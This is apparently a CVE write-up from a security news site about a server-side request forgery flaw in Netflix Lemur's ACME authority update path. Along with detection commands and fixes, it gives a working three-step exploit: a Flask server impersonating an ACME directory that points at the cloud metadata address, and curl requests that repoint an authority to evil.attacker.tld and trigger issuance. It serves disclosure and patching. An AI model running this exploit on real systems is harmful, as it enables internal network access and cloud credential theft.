Listen to this Post
The ACME client in Netflix Lemur, used to issue certificates from public Certificate Authorities like Let’s Encrypt and Google Public CA, operates by connecting to a user-configurable acme_url. Per RFC 8555 design, the client then follows URLs returned by the ACME server in its directory, order, authorization, and finalize responses. Lemur implements an allowlist validation (_validate_acme_url) that restricts `acme_url` to a set of public ACME directories—specifically acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, and dv.acme-v02.api.pki.goog. However, this validation is performed only at authority creation time (in create_authority). The authority UPDATE path (PUT /api/1/authorities/<id>) accepts a new `options` blob containing an arbitrary `acme_url` and stores it verbatim without any re-validation. The `AuthorityUpdateSchema.options` field is defined as a simple `fields.String()` with no validation applied. The code’s own docstring for `_validate_acme_url` acknowledges: “existing authorities in the DB were already trusted when they were created and are not re-validated”.
An attacker who is a member of an authority’s role—granted by an admin to allow issuing certificates via that authority—can exploit this flaw. The attacker repoints an existing ACME authority to a malicious ACME server they control by sending a PUT request to the authority update endpoint. The malicious server returns internal URLs in its ACME directory and order responses. When the next certificate issuance occurs against this repointed authority, `setup_acme_client_no_retry` reads the stored `acme_url` and creates an ACME client. The client fetches the directory from the attacker-controlled server, which returns URLs pointing to internal services—for example, `newOrder` pointing to http://169.254.169.254/latest/meta-data/`. Lemur then makes JWS-signed POST requests to these internal URLs. This is a classic ACME-client SSRF as described in RFC 8555. The authorization check on the update endpoint (Authorities.put) requiresAuthorityPermission(authority_id, roles), satisfied by `AuthorityOwnerNeed` orAuthorityCreatorNeed—meaning any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds, making the attack surface significant.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Netflix Lemur
Version: < 1.9.3
Vulnerability: SSRF (CWE-918)
Severity: 7.4 (High)
date: 2026-08-18
<h2 style="color: blue;">Prediction: 2026-08-25</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Identify vulnerable Lemur instances
curl -k -X GET https://lemur.example.com/api/1/authorities \
-H "Authorization: Bearer <JWT>" | jq '.[] | {id, name, options}'
Check current acme_url configuration
curl -k -X GET https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" | jq '.options'
Monitor for unauthorized authority updates in logs
grep "PUT /api/1/authorities/" /var/log/lemur/lemur.log | \
jq -r 'select(.user != "expected_admin") | {user, authority_id, timestamp}'
Detect SSRF exploitation attempts via outbound requests to internal IPs
tcpdump -i any -n 'host 169.254.169.254 or host 192.168.0.0/16 or host 10.0.0.0/8'
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
Step 1 – Attacker runs a malicious ACME directory server:
malicious_acme_server.py
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/dir')
def directory():
return jsonify({
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/",
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
Step 2 – Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d '{
"name": "letsencrypt",
"owner": "[email protected]",
"description": "x",
"active": true,
"roles": [{"id": 7, "name": "letsencrypt_operator"}],
"options": "[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
}'
Step 3 – Issue a certificate against the repointed authority:
curl -k -X POST https://lemur.example.com/api/1/certificates \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d '{
"commonName": "demo.example.com",
"owner": "[email protected]",
"authority": {"name": "letsencrypt"},
"validityYears": 1
}'
The Lemur ACME client connects toevil.attacker.tld, reads the directory, and POSTs a JWS-signed request tohttp://169.254.169.254/…`—internal SSRF achieved.
Protection:
- Upgrade Lemur to version 1.9.3 or later, where `acme_url` is revalidated on updates and `_PinnedClientNetwork` enforces a single allowed host for the complete ACME flow.
- Re-run `_validate_acme_url` inside
authorities/service.update/update_options. - Make `acme_url` immutable after authority creation.
- In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.
- Restrict the Lemur backend’s outbound network access to prevent connections to private IP ranges or internal metadata endpoints.
- Ensure that only administrators can modify authority configurations.
Impact:
- JWS-authenticated POSTs to attacker-chosen internal URLs—stronger than blind GET SSRF: the request body is structured/signed, and the account key + cloud DNS credentials are resident in the process during issuance.
- Reaches internal HTTP services, cloud metadata (e.g., AWS IMDS at 169.254.169.254), and Kubernetes API from the Lemur host.
- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
- Can expose cloud credentials and long-lived PKI private-key access.
- Limitation: requires ACME to be in use; not default-deploy by itself, but ACME is the recommended issuance method.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

